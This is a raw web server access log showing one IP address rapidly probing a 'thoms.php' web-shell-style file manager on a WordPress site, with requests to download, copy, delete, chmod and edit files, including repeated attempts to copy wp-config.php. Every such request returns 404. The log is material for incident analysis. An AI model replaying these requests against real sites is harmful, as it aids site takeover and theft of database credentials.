45.135.193.11 - - [12/Sep/2026:00:00:03 -0400] "GET /bfl.com.tw/wp-content/uploads/ HTTP/1.1" 200 836 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:03 -0400] "GET /thoms.php?dl=index.php&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=index.php&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:03 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-content%2Fthemes&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-content%2Fthemes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:03 -0400] "GET /thoms.php?chmod=themes&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=themes&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:03 -0400] "GET /bfl.com.tw/wp-content/languages/ HTTP/1.1" 200 4143 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:03 -0400] "GET /thoms.php?del=index.php&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=index.php&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:03 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-content%2Flanguages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-content%2Flanguages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:03 -0400] "GET /bfl.com.tw/wp-content/index.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:03 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-content%2Fmu-plugins HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-content%2Fmu-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:03 -0400] "GET /bfl.com.tw/wp-content/themes/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:03 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-content%2Fplugins&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-content%2Fplugins&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:03 -0400] "GET /thoms.php?del=themes&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=themes&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:04 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-content&view=index.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-content&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:04 -0400] "GET /bfl.com.tw/wp-content HTTP/1.1" 301 795 "http://163.245.207.76:443/bfl.com.tw/wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:04 -0400] "GET /thoms.php?del=mu-plugins&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=mu-plugins&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:04 -0400] "GET /bfl.com.tw/wp-content/ HTTP/1.1" 200 0 "https://163.245.207.76:443/bfl.com.tw/wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:04 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-content%2Fthemes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-content%2Fthemes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:04 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-content%2Fuploads&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-content%2Fuploads&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:04 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-content%2Findex.php&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-content%2Findex.php&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:04 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-content%2Flanguages&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-content%2Flanguages&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:04 -0400] "GET /thoms.php?chmod=plugins&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=plugins&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:04 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-content%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-content%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:04 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-content%2Fupgrade&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-content%2Fupgrade&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:04 -0400] "GET /thoms.php?chmod=mu-plugins&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=mu-plugins&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:04 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-content%2Fplugins HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-content%2Fplugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:04 -0400] "GET /bfl.com.tw/wp-content/upgrade/ HTTP/1.1" 200 693 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:04 -0400] "GET /thoms.php?del=upgrade&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=upgrade&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:04 -0400] "GET /bfl.com.tw/wp-content/plugins/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:04 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-content&upload= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-content&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:04 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-content%2Fuploads HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-content%2Fuploads" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:05 -0400] "GET /bfl.com.tw/wp-content/mu-plugins/ HTTP/1.1" 200 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:05 -0400] "GET /thoms.php?chmod=upgrade&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=upgrade&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:05 -0400] "GET /thoms.php?chmod=uploads&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=uploads&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:05 -0400] "GET /thoms.php?del=uploads&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=uploads&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:05 -0400] "GET /thoms.php?del=languages&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=languages&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:05 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-content%2Fmu-plugins&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-content%2Fmu-plugins&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:05 -0400] "GET /thoms.php?del=plugins&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=plugins&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:05 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-config.php&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-config.php&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:05 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-config.php&finish=1&move=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-config.php&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:05 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-config.php&finish=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-config.php&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:05 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-config.php&p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-config.php&p=bfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:05 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-config.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-config.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:05 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-config.php&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-config.php&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:05 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-config.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-config.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:05 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-config.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-config.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:05 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-config.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-config.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:06 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-config.php&p=bfl.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-config.php&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:06 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-config.php&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-config.php&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:06 -0400] "GET /thoms.php?copy=bfl.com.tw%2Findex.php&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Findex.php&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:06 -0400] "GET /thoms.php?copy=bfl.com.tw%2Findex.php&finish=1&move=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Findex.php&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:06 -0400] "GET /thoms.php?copy=bfl.com.tw%2Findex.php&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Findex.php&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:06 -0400] "GET /thoms.php?copy=bfl.com.tw%2Findex.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Findex.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:06 -0400] "GET /thoms.php?copy=bfl.com.tw%2Findex.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Findex.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:06 -0400] "GET /thoms.php?copy=bfl.com.tw%2Findex.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Findex.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:06 -0400] "GET /thoms.php?copy=bfl.com.tw%2Findex.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Findex.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:06 -0400] "GET /thoms.php?copy=bfl.com.tw%2Findex.php&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Findex.php&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:06 -0400] "GET /thoms.php?copy=bfl.com.tw%2Findex.php&finish=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Findex.php&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:06 -0400] "GET /thoms.php?copy=bfl.com.tw%2Findex.php&p=bfl.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Findex.php&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:06 -0400] "GET /thoms.php?copy=bfl.com.tw%2Findex.php&p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Findex.php&p=bfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:06 -0400] "GET /thoms.php?edit=error_log&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=error_log&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:06 -0400] "GET /thoms.php?edit=error_log&env=ace&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=error_log&env=ace&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:06 -0400] "GET /thoms.php?edit=index.php&env=ace&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=index.php&env=ace&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:06 -0400] "GET /thoms.php?edit=index.php&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=index.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:07 -0400] "GET /thoms.php?chmod=import.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=import.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:07 -0400] "GET /thoms.php?chmod=load-styles.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=load-styles.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:07 -0400] "GET /thoms.php?chmod=moderation.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=moderation.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:07 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Foptions-general.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Foptions-general.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:07 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=edit-form-blocks.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=edit-form-blocks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:07 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Foptions.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Foptions.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:07 -0400] "GET /thoms.php?del=js&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=js&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:07 -0400] "GET /thoms.php?dl=credits.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=credits.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:07 -0400] "GET /thoms.php?chmod=custom-background.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=custom-background.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:07 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fprofile.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fprofile.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
